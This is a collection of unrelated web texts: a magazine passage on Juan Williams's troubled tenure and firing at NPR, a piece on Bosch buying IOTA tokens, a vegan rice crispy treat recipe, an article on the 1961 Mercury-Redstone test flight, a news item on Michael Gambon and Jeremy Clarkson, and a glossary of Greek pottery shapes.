putting it. Its two-year contractual offer to him in 2008 decreed that he either return to reporting—forcing him to limit his outside gigs and brush up on his radio skills—or go off staff and work under contract as a news analyst (which, as opposed to commentator, required reporting). He opted for the latter. All told, he appeared up to eight times a month. But hosts and producers complained that he was unprepared for interviews, made mistakes that sometimes required re-taping, and pitched ideas that were either stale or half-baked. Increasingly, programs resisted using him, or even answering his e-mails. In September 2010, he was so unprepared to analyze an upcoming Tea Party Convention that a junior editor had to point him to a Web site with all of the information he needed. Williams says he does not remember the episode. More generally, he describes charges that his work was ever sub-par or that he was over-extended as, among many other things, “crazy,” “bullshit,” “out of the box,” and “a separate reality.” Again, to Williams it was all personal: Ellen Weiss, like Jay Kernis before her, simply didn’t like him. Once, after she’d derisively called him a “superstar,” it dawned on him why: she resented his fame. “Juan’s contributions to NPR had been reduced steadily and significantly after years of problems on his part, going back prior to my interactions with him,” Weiss says. “It wasn’t personal; it wasn’t ideological; it was upholding NPR’s journalistic standards.” Around NPR, Williams’s deteriorating situation prompted disdain, or sympathy, or both, sometimes even from the same person. “The thing nobody will say. . . is that Juan was here because he was black,” one NPR veteran told me, adding that Williams was the beneficiary of the very liberalism he came to denounce. “We were carrying Juan. I can only imagine what that feels like. It must breed all kinds of ambivalent attitudes toward the place.” Weekend Edition became Williams’s safe harbor, largely because its Saturday-morning host, Scott Simon, liked and respected him. “Juan is smart, funny, and an original thinker,” he says. “I thought everything that made him seem un-NPR to some, including his Fox affiliation, just made him more interesting.” Venues one might have thought welcoming, like Tell Me More, the multicultural program hosted by Michel Martin, proved inhospitable. “Despite his big national reputation, he stopped reporting some time ago,” Martin says. “My mother has random opinions, too, but I don’t put her on the air.” Williams ascribes Martin’s hostility to pettiness, jealousy, and careerism: she felt she could advance herself by trashing him. Three times in our hour-long interview, Martin called Williams “the most skillful manipulator of white people’s anxieties that I have ever met.” Sure enough, when I asked Williams whether he had spread himself too thin at NPR, he came back at me the next time we talked claiming I’d called him “lazy,” a lethally incendiary word in a racial context I’d neither used (the interview was taped) nor implied, nor had ever heard anyone else use or imply. (Williams is quite the opposite of lazy: he’s hyperkinetic.) Many journalists are surprisingly thin-skinned: to Williams, just about any criticism is ridicule, and personal, and maybe just a bit bigoted. “There’s no way that I could be me and be a phony,” he said. “It’s just too public, too highprofile. If I was in fact a charlatan who knew nothing and was over-extended and was a pretender, it would just be so transparent.”
Just before Vivian Schiller, who’d previously headed digital operations at NYTimes.com, assumed control over NPR in January 2009, NPR’s four founding mothers—this time, Stamberg was there—took her to lunch. They listed all of the land mines she faced: poor relations with the stations, weak public relations and lobbying operations, and Ellen Weiss (with whom all four had tangled). NPR also faced budgetary woes: despite the layoffs, it was still $18 million in the red. Even more alarming were ongoing Republican threats to defund NPR, which could become more than rhetorical were the G.O.P. to take over Congress after the 2010 election. In her short tenure Schiller never entirely won over the newsroom, nor convinced people she was a bona-fide “NPR groupie,” as Knell is now trying to do. But she was generally well liked and, through judicious trims and increased fund-raising, she closed NPR’s deficit. And despite an inopportune and anxiety-producing statement about a totally digital future for NPR, she mended fences with member stations. Juan Williams didn’t even make the founding mothers’ list. But it was he who turned out to be the ticking bomb. His next contract, signed in early 2010, was skimpier still than its predecessors: good for only one year, guaranteeing no more than four appearances a month, halving his pay. (Still, $65,000 for 12 to 15 minutes of radio time a month it wasn't bad. ) It was all but a shove out the door. A strong managerial hand (or foot) might have done just that, but Schiller was brand new, and on news-related matters, deferred largely to Weiss. For her, as for her predecessors, when it came to Williams, it was easier just to keep kicking the can. On Monday, October 18, 2010, it took an increasingly frustrated Steve Inskeep more than an hour of interviewing Williams—and his producers, several hours more of editing time—to produce a usable five-minute segment about campaign-finance reform for the next morning’s Morning Edition. (Williams says Inskeep kept changing what he wanted.) That afternoon, Williams had his appointment with Axelrod. And that night, while Vivian Schiller hosted a book party for Scott Simon at her home in Bethesda, Williams told O’Reilly on air that he feared getting on a plane with anyone wearing “Muslim garb.” It wasn’t what the lawyers call a “spontaneous utterance”: Williams had cued O’Reilly’s producer that afternoon just what he would say on the show that night, and he’d stuck to his script. That included the caveat that regardless of such fears, it was “crazy” to paint any group with too broad a brush. It was a typical Williams offering, with something for both the right and the left. But for Williams’s detractors, Weiss among them, that final rider, coming only after O’Reilly had interrupted him, was too little too late. “She was looking for an excuse [to get rid of him] and he gave her one,” observes one NPR veteran. “It was very Clintonesque.” It took until Tuesday night for the resulting complaints—from listeners and Muslim groups—to reach NPR. With Schiller off speaking in Atlanta, the matter of what to do with Williams fell to Weiss. Weiss had many champions at NPR, particularly among those whose careers she had cultivated (the rap on her was that they tended to be handsome young Jewish men; Weiss took offense at that charge, pointing to several promotions that didn’t fit that stereotype). But many felt she’d executed NPR’s layoffs capriciously and insensitively: one victim learned he’d been fired while in the office of his wife’s oncologist. Even those she liked weren’t spared her sometimes heavy hand: unless he retired, she told the venerable NPR commentator Daniel Schorr in July 2010, he could wind up embarrassing himself, just as another Washington journalistic institution, Helen Thomas, had recently done. Schorr, 93 at the time, was indignant, and hurt. Because he died shortly thereafter—of natural causes that could in no way be blamed on Weiss—NPR was spared an enormous hue and cry from Schorr’s devoted fans. But the episode might have alerted Schiller not to entrust sensitive personnel matters to her. NPR could simply have let Williams’s contract run its course, as Weiss had already resolved to do: it was up in March 2011. Were Williams and Fox News to raise a fuss then, NPR could simply have threatened to reveal Williams’s previous workplace problems. Moreover, when it came down to it, Williams’s comment, while perhaps undiplomatic, was hardly indefensible; many people agreed with him. In fact, he was being penalized for past performance. “It was the last straw [for NPR management],” Totenberg says. “But it was the wrong straw. In fact, it wasn’t even a straw.” Besides, why stir things up only two weeks before a crucial election, in which NPR’s own fate was implicated? And, further, at a time when many stations were in the midst of pledge drives? But complaints, including one from a Muslim woman working for Morning Edition, kept coming in. Suppose Williams had said something similar about blacks or Jews? CNN had just dropped Rick Sanchez for making an anti-Semitic comment about Jon Stewart. Tone-deaf officials at NPR assumed people “out there” would be as indignant over Williams’s remarks as they were. And while they’d anticipated a “shit storm” from Fox, they’d expected it to be, as one NPR officer told me, “a six, not a twelve.” Mostly, though, what was at work was simply a severe case of Juan Williams fatigue. “I think they were just sick of him,” said Michel Martin. “I think they had spent a lot of time managing him. I think they were like, ‘Enough already. Enough. Enough. Enough.’” Surprisingly oblivious to even its own listeners—firing Bob Edwards in 2004 had also set off an uproar, but with the constant changes at the top, few in management seemed to remember that—NPR officials were even poorer at gauging political realities. Mid-afternoon on October 20, Weiss pulled the trigger on Williams. Whether Schiller’s finger was behind Weiss’s is both debated and irrelevant: she concedes her hand was also on the gun. Williams was in Fox News’s green room, between appearances with Shepard Smith and Sean Hannity, when Weiss told him the news. He was dumbfounded. Had she read the entire interview? Couldn’t he at least come in to talk about this? There was no point, she replied. Hannity immediately called Fox News’s senior vice president, Bill Shine, awakening him at home. Sit tight until tomorrow, Shine told Williams. The next day, Ailes gave Williams a three-year deal worth a reported $2 million. NPR officials weighed offering a full account of Williams’s tortured history at the place. But whether out of cowardice or guilt or loyalty or decorousness or just an inability to think tactically and defend themselves, they took the high road, saying simply that Williams had strayed beyond his proper role as NPR news analyst. This left Williams free to portray himself as a betrayed loyalist, victim of political correctness and martyr for free speech. (Inevitably, Williams and his Fox friends will charge that NPR instead unloaded its Juan Williams dossier on me. In fact, from what I can tell there seems to have been no such file. Whatever I pieced together about his tenure came only after repeated phone calls to invariably reluctant officials, editors, and reporters there. On some matters, NPR refused to comment at all.) Williams’s outrage, and NPR’s ineptitude, only grew when, at a press conference the next day, Schiller said that whatever prompted Williams’s comments to O’Reilly was “between him and his . . . psychiatrist or his publicist.” It was meant to be flippant rather than diagnostic. Schiller quickly apologized to him publicly, then had a handwritten note delivered to his home. They had nothing to discuss, he wrote back. Adroit at exploiting such mistakes—it’s surely what Michel Martin was talking about—Williams seized on the comment, rarely omitting from subsequent interviews and speeches that Schiller had essentially called him an illiterate psychopath. “I don’t fit in their box, Bill,” he told O’Reilly on his show that night. “I’m not a predictable black liberal.” (In his 10 years at NPR, Williams went on, “there was never any question about my journalism.” And, as far as the world knew, that was true.) When O’Reilly wackily suggested that the liberal philanthropist George Soros, who’d recently given NPR $1.8 million to enhance coverage of state governments, was behind the firing, Williams, remarkably, concurred. “We got your back,” O’Reilly said. “You’re a stand-up guy,” Williams replied. “I got your back, Williams. Trust me on this. We’re not letting this go,” O’Reilly continued. For days Fox News blanketed the issue. Williams described how a “far-left mob” at NPR had thrown him into the “gulag” and how he’d been victimized by “the worst of white condescension to black people.” Two of Williams’s friends at NPR begged him to tone things down, saying he seemed apoplectic, almost crazy. He’s since joined calls to cut NPR’s funding and, in his recent book, Muzzled, wrote that while he admires NPR reporters, they cater to their fat-cat liberal donors. On the record at least, NPR people are more sad than angry. “This is a building full of people who worked 10 years to make Juan sound his best,” Steve Inskeep told me diplomatically. When the smoke cleared, NPR brought in the law firm of Weil, Gotshal & Manges to investigate the fiasco. The lawyers predictably escalated what should have been a straightforward probe investigating one personnel decision into a witch hunt reportedly costing hundreds of thousands of those hard-won donor dollars. Schiller held on, but was docked her bonus; Weiss “resigned.” Williams was pleased. But at least two of his acolytes, conservative activists both, weren’t placated. To them, Williams’s firing proved NPR’s fundamental hypocrisy and corruption. One was Nigerian-born Shaughn Adeleye, the other an American calling himself “Simon Templar” (after the eponymous hero of “The Saint”). Intent on proving that NPR would really take money from anyone, Templar devised a sting, in which a “Muslim Education Action Center,” committed to spreading Sharia law, dangled $5 million before NPR. He became “Ibrahim Kasaam,” a hot-shot oils-futures trader from Houston with a Syrian father (hence, the name) and American mother (hence, his pale complexion and non-existent Arabic). He grew a beard and spent two months in a tanning salon, so that he would look the part. Then he and Adeleye—“Amir Malik”—arranged to have lunch with NPR’s chief fund-raiser, Ron Schiller, and Betsy Liley, its director of institutional giving. Ron Schiller, 46, had been wildly successful since Vivian Schiller—no relation—hired him in September 2009. In fact Schiller, who’d been raised a Republican and cast his first presidential vote for Ronald Reagan, was the rightwing’s best friend: more than anyone else, he believed that through large donations and bequests, NPR could easily wean itself off the federal dole. Feeling comfortable with the two—as a gay man, he was sensitive to discrimination against minorities—and fueled by glasses of expensive wine—to the “Muslims,” flaunting their wealth trumped any religious bans on alcohol—last February 22 at Café Milano, the same pricey Georgetown restaurant where Newt Gingrich celebrated his conversion to Catholicism, Schiller let down his guard. Asked why Republicans hated NPR, he claimed the G.O.P. was in a “real anti-intellectual mood,” that the Tea Party was “fanatically involved in people’s personal lives,” and that the party had “been hijacked” by radical, “gun-toting racists.” One of two hidden cameras (the other malfunctioned) captured it all. NPR never did take the money—the group’s charitable bona-fides didn’t check out. On the afternoon of March 7, Vivian Schiller spoke at the National Press Club. She was confident and statesmanlike, swatting away the inevitable Juan Williams questions with just the right mix of contrition and patience, self-deprecation and evasiveness. Afterward, Dave Edwards (who’d been watching via C-span from Milwaukee) praised her. So, too, did the head of the Corporation for Public Broadcasting, Patricia Harrison (with whom Schiller had had frosty relations, and who’d not returned her calls for two weeks after the Juan Williams fiasco) from the dais. But early the next day, James O’Keefe, the video prankster who’d helped bring down acorn, posted 11 and a half minutes of Ron Schiller’s two-hour lunch on YouTube. NPR officials watched in horror. Once more, things quickly spiraled out of control. Ron Schiller, who was due to leave NPR in May, was out instantly. So, too, after a hastily called board meeting, was Vivian Schiller. According to sources, Patricia Harrison had threatened to pull NPR’s funding unless Vivian Schiller was sacked. Some firewall! (Harrison declined to comment.)
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Robert Bosch Venture Capital (RBVC), the venture arm of the German industrial giant Bosch, recently announced that it purchased a "significant number" of MIOTA tokens, according to Venture Beat. MIOTA is a cryptocurrency based on the IOTA distributed ledger platform operated by the German IOTA Foundation.
The IOTA platform is unique among blockchain-like distributed ledger solutions in that it is focused on IoT use cases and allows connected devices to securely transfer data and money for only a very small fee. The cryptocurrency has already enabled more than $10 billion in transactions and is currently being used for micropayment-based electric vehicle charging stations. As part of the purchase, Hongquan Jiang, a partner at RBVC, will join the IOTA Foundation's advisory board.
IOTA and other distributed ledger solutions could help manage large enterprise IoT deployments because of their ability to automate back-end functions. Jiang said that, while IOTA is still in its early stages, RBVC sees it being able to help IoT projects scale up while reducing transaction costs. A use case for the IOTA platform could involve, for instance, a machine that identifies when it needs a replacement part, and then automatically orders that part and pays for it directly through the platform. This is a significant innovation because most other IoT predictive maintenance applications typically only alert a human worker when a replacement part needs to be ordered. Using the IOTA platform instead could save companies time and money by limiting the involvement of a human technician.
Distributed ledgers can also help secure IoT implementations by providing a tamper-proof ledger for data produced by connected devices. Forty-three percent of executives at companies deploying an IoT solution said security was a top barrier to implementation of their IoT projects, according to a 2016 BI Intelligence survey. Blockchain-like distributed ledgers are designed to ensure that once data is added to the ledger, it cannot be changed or tampered with. Additionally, any member of the ledger's network can view any of the data within it, providing additional security through transparency.
IOTA is only one of several blockchain-based systems companies with IoT projects are exploring for security purposes. For instance, South Korea's Science Ministry and the Korea Electric Power Corporation are jointly trialing a blockchain-based platform that would enable customers to sell unused energy back to the grid, while Cargill, an agricultural conglomerate, is exploring the nascent technology to track food conditions as it moves through the supply chain.
Meanwhile, Jiang told VentureBeat that IOTA is among a number of distributed ledger technologies the industrial giant is exploring for IoT security purposes, though Bosch's choice to invest in its cryptocurrency now indicates it believes IOTA will become more valuable in the coming years. As more and more companies deploy IoT projects or expand their existing projects, we believe these firms, and their IoT providers, will increasingly explore IOTA and other distributed ledger solutions, and likely eventually implement them in their IoT projects for security purposes.
Peter Newman, research analyst for BI Intelligence, Business Insider's premium research service, has compiled a detailed report on the blockchain in the IoT that:
Explains how firms are already exploring ways to make use of blockchain in all sorts of IoT projects.
Provides an overview of disruption in critical sectors including the supply chain and asset management.
Brown Rice Crispy Treats w/ Strawberries – super easy, super tasty, and absolutely no marshmallows needed!!
Keep it Simple
In my head, I always have these elaborate plans for super festive food and desserts for the 4th of July holiday. Everything red, white and blue, cut into star shapes, or designed into the shape of a flag. In reality though, I have neither the time nor the patience for such fare. Please tell me I’m not the only one who dreams of a Pinterest life, but lives a much simpler one.
Don’t get me wrong – I’m a Pinterest addict, but some of the DIY holiday/party suggestions you’ll find there are a bit over the top. The good news for you is that means I have quick and easy ideas to share and they are always family approved.
These Brown Rice Crispy Treats w/ Strawberries are just as easy and delicious as the ones you remember from your childhood, but healthier and more festive.
Stress Less
I just got back from a 5 day vacation in Breckenridge, CO. My closest girlfriends and I are all turning 40 this year and we wanted a fabulous getaway to celebrate. It was everything I had hoped for and more.
I absolutely fell in love with Colorado, specifically Breck. It was so casual, everyone was so friendly, there is so much to do, and I could stare at the scenery for the rest of my life. I truly felt at peace there.
I’ve been trying to keep that zen-like feeling going here at home and that means getting back to easy recipes. Some of my favorite recipes on the blog, and also happen to be reader favorites, are simple, quick, and easy, like my Super Simple Burrito Bowl, Chickpea Salad, and Black Bean Salsa Burgers.
These Brown Rice Crispy Treats are going to fall into that same quick and easy category, and you are going to love them too!
No Marshmallows Needed
Just like in my Chocolate Peppermint Crunch Bars, I used a combination of brown rice syrup and cashew butter in place of marshmallows in these Brown Rice Crispy Treats. And I added some freeze dried strawberries for extra flavor and sweetness, which also happens to make them quite festive.
Brown Rice Crispy Treats w/ Strawberries
I hope you’ll try these delicious Brown Rice Crispy Treats w/ Strawberries. When you do, make sure to leave me feedback and a star rating below as I love hearing what you guys think. If you have a chance, snap a quick pic and tag me #veggieinspired and veggie_inspired on social media. Enjoy!
5 from 1 vote Print Brown Rice Crispy Treats w/ Strawberries Prep Time 10 mins Total Time 10 mins These Brown Rice Crispy Treats are super easy and just like those favorite treats from your childhood, but healthier and tastier with added strawberries. Course: Dessert, Snack Cuisine: dairy free, egg free, gluten free, oil free, soy free, vegan Servings : 8 Calories : 220 kcal Author : Jenn S. Ingredients 4 cups gluten free crispy brown rice cereal
1 cup sliced freeze dried strawberries
1/2 cup cashew butter (store bought or homemade)
1/2 cup organic brown rice syrup
1 tbsp pure vanilla extract Instructions Line an 8x8 baking dish with parchment paper. It helps to spray a little cooking spray on the dish before placing the parchment paper to help it stay in place. Cut the paper long enough to hang over the sides and use these as handles later to easily pick up the whole block and take it out of the pan. Set aside. In a large mixing bowl, combine the brown rice cereal and freeze dried strawberries. Set aside. In a small pot on the stove, stir together the cashew butter, brown rice syrup and vanilla extract over low heat, stirring continuously, until pourable. This will only take a few minutes and the mixture will burn easily, so don't walk away! Pour the liquid mixture over the cereal and strawberries, while stirring. Work quickly as it will thicken up as it cools. Press the mixture evenly into the prepared baking dish. Placing another piece of parchment paper on top and pressing on that will help you to spread the mixture evenly. Let the Brown Rice Crispy Treats set in the pan for about an hour before taking them out to cut into squares. Nutrition Facts Brown Rice Crispy Treats w/ Strawberries Amount Per Serving Calories 220 Calories from Fat 81 % Daily Value* Total Fat 9g 14% Saturated Fat 2g 10% Polyunsaturated Fat 5g Monounsaturated Fat 1g Sodium 145mg 6% Total Carbohydrates 34g 11% Dietary Fiber 1g 4% Sugars 11g Protein 3g 6% Vitamin C 18% Calcium 2% Iron 7% * Percent Daily Values are based on a 2000 calorie diet.
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More than five decades have now passed since one of the most unfortunate episodes in human spaceflight history. In late March 1961, an additional test of the Mercury-Redstone capsule-booster combination—destined to deliver America’s first man into space—was inserted into the U.S. flight manifest, before the vehicle could be entrusted with a human pilot. Known as “Mercury-Redstone Booster Development,” or “MR-BD,” it flew on 24 March 1961, less than three weeks before the historic voyage of Yuri Gagarin, and with the benefit of historical hindsight, might seem costly mistake. Indeed, Alan Shepard was privately furious, seeing the decision as a lost opportunity to beat the Soviet Union. Yet so many unknowns existed, both with the Redstone booster and the Mercury capsule, in the spring of 1961, that it was felt the risk of disaster outweighed the need to rush America’s first human space mission.
The drive to send a man into space was a hot contest between the two superpowers. In September 1960, Time told its readers that the United States would require “at least nine months” before it could launch a piloted mission into Earth orbit. In fact, not until February 1962—and the flight of John Glenn—would an American citizen actually circle the Home Planet. His epic mission followed a pair of short, suborbital “hops,” atop Mercury-Redstones, by Alan Shepard and Virgil “Gus” Grissom. By contrast, the Soviets flew no piloted suborbital missions and progressed directly to Gagarin’s orbital voyage, which completed a single circuit of the globe in 108 minutes on 12 April 1961.
Preparations for America’s first manned spaceflight had actually gotten underway in December 1960, when “Spacecraft No. 7”—the seventh of 20 Mercury capsules, built by McDonnell Aircraft, headquartered in St. Louis, Mo.—was delivered to Cape Canaveral. However, it became necessary to implement 21 weeks of unexpected tests, repairs, and additional work, including its communications hardware and its reaction controls. The landing bag which would cushion the capsule’s splashdown in the Atlantic Ocean needed to be installed and a plethora of irritating problems, from damaged and corroded hydrogen peroxide fuel lines to the requirement to fit a manual bilge pump to remove excess seawater, had to be overcome.
The latter had become acutely necessary in the aftermath of the flight of the chimpanzee Ham, who had been launched atop a Redstone booster in January 1961, but whose Mercury capsule had suffered a series of malfunctions. A faulty valve fed too much fuel into the Redstone’s engine, causing Ham to fly too high and too far, after which the fuel tanks ran dry, the spacecraft separated too early and re-entered the atmosphere too fast and at an incorrect angle. Temperatures inside the capsule soared and further glitches “rewarded” Ham not with banana pellets, but with electric shocks, for pushing the right buttons and pulling the right levels. Miraculously, the capsule splashed down in the Atlantic. As it filled with water, “a very pissed-off chimp” was fished out by recovery forces.
Wernher von Braun, the famed rocket-builder, whose team at the Marshall Space Flight Center (MSFC) in Huntsville, Ala., had designed and fabricated the Redstone, was fearful that the first manned mission—tentatively scheduled for March 1961, carrying Alan Shepard—might be similarly afflicted. Von Braun opted for another unpiloted flight. The astronaut, however, pushed NASA officials and even von Braun himself to press ahead with the mission, regardless of the risk. As an experienced test pilot, Shepard was convinced that he could handle and overcome any Ham-type problems which might arise. However, von Braun stood firm and a nervous NASA stood beside him.
“We were furious,” remembered Chris Kraft, then serving as a flight director within Project Mercury, before rising through the ranks to eventually head the Manned Spacecraft Center (MSC)—later renamed the Johnson Space Center (JSC)—in Houston, Texas. “We had timid doctors harping at us from the outside world and now we had a timid German fouling our plans from the inside.”
Furthermore, Jerome Wiesner, recently selected by President John F. Kennedy as his science advisor, warned of the harm a dead astronaut could cause the new administration and placed his weight behind the call for another test flight. In addition, having inherited chairmanship of the President’s Science Advisory Committee (PSAC), he convened a panel of experts to assess the situation and recommend whether or not to proceed with Shepard’s launch. After viewing astronauts “flying” in the simulators and pulling up to 16 G in the centrifuge, the panel concluded that the manned mission should proceed.
Their report, ironically, landed on Kennedy’s desk on the afternoon of 12 April 1961.
By this point, Shepard’s launch had been postponed until the end of the month and, despite the crushing disappointment of Vostok 1, both he and his backup, John Glenn, continued to train feverishly, rehearsing every second of the 15-minute “up-and-down” mission that would arc 116 miles (188 km) into space and back to Earth, splashing into the Atlantic some 300 miles (480 km) downrange of the Cape. It would be a suborbital “hop”: the Redstone, capable of accelerating to around 2,175 mph (3,500 km/h), lacked the impulse to deliver Shepard into orbit, but the flight would prove to the world that the United States was in the game.
The Redstone was a direct descendant of the infamous V-2, used by Nazi Germany with such devastating effect in the Second World War, and had been employed as a Medium-Range Ballistic Missile (MRBM) to conduct the United States’ first live nuclear tests during Operation Hardtack in August 1958. It remained operational within the U.S. Army until 1964, gaining a reputation as the service’s workhorse and, as a non-military launcher, as “Old Reliable.” A number of modifications were incorporated from 1959 onward to “man-rate” the booster, prior to Project Mercury. These included automated systems to shut down the Redstone’s engine and separate the Mercury capsule and its attached Launch Escape System (LES) tower.
The single-stage booster measured 83.3 feet (25.4 meters) in length and liftoff occurred when its single engine, powered by a mixture of ethyl alcohol and liquid oxygen, together with a hydrogen peroxide turbopump, reached approximately 85-percent thrust. At T-0, it produced about 78,000 pounds (35,380 kg) of propulsive yield. In readiness for Project Mercury, the Redstone’s tanks were lengthened and their walls thickened to handle the increased loads of the Mercury capsule and a heavier load of propellants. Steel ballast was added to guard against potential instabilities during supersonic flight. Changes were also made to enhance the reliability of the rocket’s electronics.
Atop this booster, America’s first astronaut would ride into space. Today, wrote Chris Kraft in his foreword to Neal Thompson’s biography of Shepard, Light This Candle, it is easy to dismiss it and, when placed alongside Vostok 1, it was insignificant, but in the spring of 1961 it captivated not only America, but the world. “Add to this the fact that the reliability of a rocket-propelled system in 1961 was not much better than 60 per cent,” wrote Kraft, “and you may begin to have a feel for the anxiety all of us were experiencing.”
The second part of this article will appear tomorrow.
The acting veteran, who appeared on the show a number of times and even had a corner of the race track named after him, claims that Clarkson was unfairly ‘dropped’ by the BBC.
During an interview with Simon Mayo about the new Dad's Army film, Gambon was asked whether or not he’d still like his name to be attached to the show.
“I think they should keep it in and make it even better. But I’m not happy about the prospect of that coming on,” he said.
Top Gear Live Tour - in pictures 5 show all Top Gear Live Tour - in pictures 1/5 Back behind the wheel Clarkson behind the wheel of a van (Picture: Stefan Heunis/AFP/Getty) Stefan Heunis/AFP/Getty 2/5 Back in action Jeremy Clarkson makes a gesture as he arrives at the Ticketpro Dome for the Clarkson, Hammond and May Live Show in Johannesburg (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 3/5 Dummy run Clarkson manoeuvring a dummy out of the van (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 4/5 Open up James May filming for the live show (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 5/5 Onwards and upwards Richard Hammond in South Africa (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 1/5 Back behind the wheel Clarkson behind the wheel of a van (Picture: Stefan Heunis/AFP/Getty) Stefan Heunis/AFP/Getty 2/5 Back in action Jeremy Clarkson makes a gesture as he arrives at the Ticketpro Dome for the Clarkson, Hammond and May Live Show in Johannesburg (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 3/5 Dummy run Clarkson manoeuvring a dummy out of the van (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 4/5 Open up James May filming for the live show (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty 5/5 Onwards and upwards Richard Hammond in South Africa (Picture: Stefan Heunis/AFP/Getty) STEFAN HEUNIS/AFP/Getty
“I’m addicted to the man before. I love Jeremy and I’m sorry about all that happening.”
Gambon added: “He didn’t deserve it, he just punched someone in the mouth and that was it. So, I think it’s ridiculous.”
When Mayo suggested that he couldn’t really get away with punching someone, the star responded:
“Well you can if the bloke you punched is still friendly with you after a week you’re okay, aren’t you? I think it’s all stupid.”
Despite not looking forward to the show, the actor insisted that ‘Gambon corner’ had to stay in the programme.
“It should be there,” he said. “They’ve got to put it in, it’s part of the life of the series.”
Clarkson dubbed one of the parts of the Top Gear race track ‘Gambon corner’ in honour of the star who went round it on just two wheels during series one.
Amphora (pl. amphorae) - one of the most common forms in Greek pottery, various shapes, always with two vertical neck-handles and used for storing and transporting oil, wine and foodstuffs such as olives. Often with a lid but these have rarely survived.
Askos (pl. askoi) - named after the wineskin which it resembles in shape. The small neck implies they were used for pouring liquids in a small quantity, e.g.: fine oil, honey and vinegar.
Astragalos (pl. astragaloi) - a vessel shaped like a knucklebone from which it takes its name and which may have been used to store sheep knucklebones which were used as gaming pieces or dice.
Barbotine Ware - a style of pottery with decorative excrescenses.
Bell-Krater - a particular form of the krater vessel with a body shaped like an upside down bell, the handles are placed high on the vessel and the foot is stepped.
Black-Figure Style Decoration (c. 620 - c.530 BCE) Invented in Corinth, the style was adopted in Attica to become the dominant style in Greek pottery. Figures were painted in black silhouette with details such as muscles and hair incised using a sharp instrument.
Calyx Krater - a krater with a body shaped like a flower calyx, usually with a stepped foot.
Column-Krater - a type of krater (wine and water mixer) popular in the black-figure style with each handle supported by a short vertical 'column'.
Dinos (pl. dinoi) - a large round-bottomed bowl with no handles and used for mixing wine with water. Usually placed on a ceramic stand or metal tripod.
Epinetron (pl. epinetra) - a half-cyclinder worn over the thigh with the closed end over the knee, used for preparing wool for weaving. The upper surface was often incised to make a rough surface against which the wool fibres could be rubbed. Often with a female head at the closed end.
Exaleiptron (pl. exaleiptra) - a vessel used to store fine oil or perfume with an inverted lip to prevent spillage and usually lidded. Pottery decoration show them in a context of women bathing or during funerary rites. Also known as a kothon.
Figure-of-eight Vase - named after the distinctive handle shape, from the Minoan civilization.
Fish Plate - a flat dish with a short foot used for serving fish and seafood. A central depression collected excess oil. Produced from the 4th century BCE they were popular in Attica and Magna Graecia. Usually decorated with fish and sealife, fish on Attic dishes were almost always painted with their undersides towards the outer edge whilst those from southern Italy had their undersides towards the centre of the plate.
Floral Style Decoration - a decorative style from Minoan Crete using plant and flower motifs (c. 1600 - 1450 BCE).
Geometric Style Decoration - the use of simple shapes and lines, later with stylized figures of animals and humans (900-600 BCE).
Graffito (pl. graffiti) - A mark incised into the vase (usually under the foot), most commonly letters or numbers but sometimes also words and short phrases. They may indicate prices, trademarks or ownership. Simliar marks, but painted, are called dipinto.
Hydria (pl. hydriai) - used principally to store water and one of the commonest shapes in Greek pottery. Two horizontal handles were for carrying the vessel when full and one vertical handle used when pouring. They could also be used as a burial container for children. They were also often made in bronze versions.
Jug - with a spout and single handle, used for pouring liquids.
Kamares Style Decoration - a polychrome decorative style from the Minoan civilization using bold designs in red or white on a black background (c. 2000 - c. 1700 BCE).
Kantharos (pl. kantharoi) - a cup with two large vertical handles and a stemmed foot.
Kerch Style Decoration - named after the palce where many examples have been found they are decorated with distinctive gilded details in low relief. Originally form Athens.
Krater (pl. krateres) - a large vessel with two handles, used to mix water and wine, usually to a ratio of 3:1 or 5:3.
Kyathos (pl. kyathoi) - a ladle-like cup used for serving wine.
Kylix (pl. kylikes)- a stemmed cup with two horizontal handles and a stemmed foot, used for drinking wine. One of the most common shapes in Greek pottery, over 30 varieties exist.
Lebes Gamikos (pl. lebetes gamikoi) - a large vase with two upright handles often with a conical stand and lid. Used during marriage and burial ceremonies.
Lekanis (pl. lekanides) - a shallow vessel with a foot and two horizontal handles and often with a single handled lid. The dish was used for storage of small articles (especially for women) and for serving food (when the lid, overturned, became a second serving dish).
Lekythos (pl. lekythoi)- used to store fine oils and perfumes, often dedicated in burials and decorated in reference to this function, often with a white background.
Louterion (pl. louteria) - a large basin vessel with two handles and sometimes a spouted lip. Used for holding water for washing or perhaps mixing wine and water. A third function may have been connected with funerary rites such as washing the body.
Loutrophoros (pl. loutrophoroi) - a tall slim jar with elongated handles, used for holding water used in wedding and funeral rites and as a grave marker, especially when the deceased was unmarried.
Marine Style Decoration - found in Minoan and Mycenaean pottery with the depiction of sea-life, particularly octupuses, argonauts and shellfish (from c. 1600 BCE) .
Mastos (pl. mastoi) - a wine cup shaped like a female breast with a nipple at the base instead of a foot.
Neck-Amphora - an amphora where the neck joins the shoulder of the vessel at a sharp angle.
New Palace Style Decoration - the late Minoan decorative style using more stylisitc representations of plants and marine life (from 1450 BCE).
Oinochoe (pl. oinochoai) - jug or pitcher for pouring liquids, principally wine.
Ornament - decorative patterns and floral designs added to the foot, rim, handles and borders of vessels. Lotus, palmettes, ivy, meander, rays, tongues and rosettes were the most popular.
Pelike (pl. pelikai) - a jar used for storing liquids such as oils and wines. Also used to contain ashes after cremation.
Phiale (pl. phialai) - a shallow bowl used for wine and pouring libations in religious ceremonies. Often with an upraised knob in the centre which gives the vessel its name - omphalos (naval).
Pinax (pl. pinakes) - a decorative plaque affixed to walls in tombs and temples.
Pithos (pl. pithoi) - from the Minoan civilization, a large jar for the storage of foodstuffs such as grain and olives. Large magazines of pithoi are a typical feature of Minoan palace complexes.
Plastic Vase - A vase which incorporates a small sculpture as part of the vessel.
Plate - a circular flat dish with a raised rim.
Proto-Geometric Style Decoration - with simple shapes such as spirals and solid black lines, a pre-cursor of the more ambitious Geometric Style (c. 1000 - 900 BCE).
Protome (pl. protomai or protomes) - three dimensional moulds added to vessels, especially handles. Often in the form of animals or the human upper body.
Psykter (pl. psykters or psykteres) - a large vase shaped like a mushroom and used to cool wine. They could be placed within a krater or stand alone.
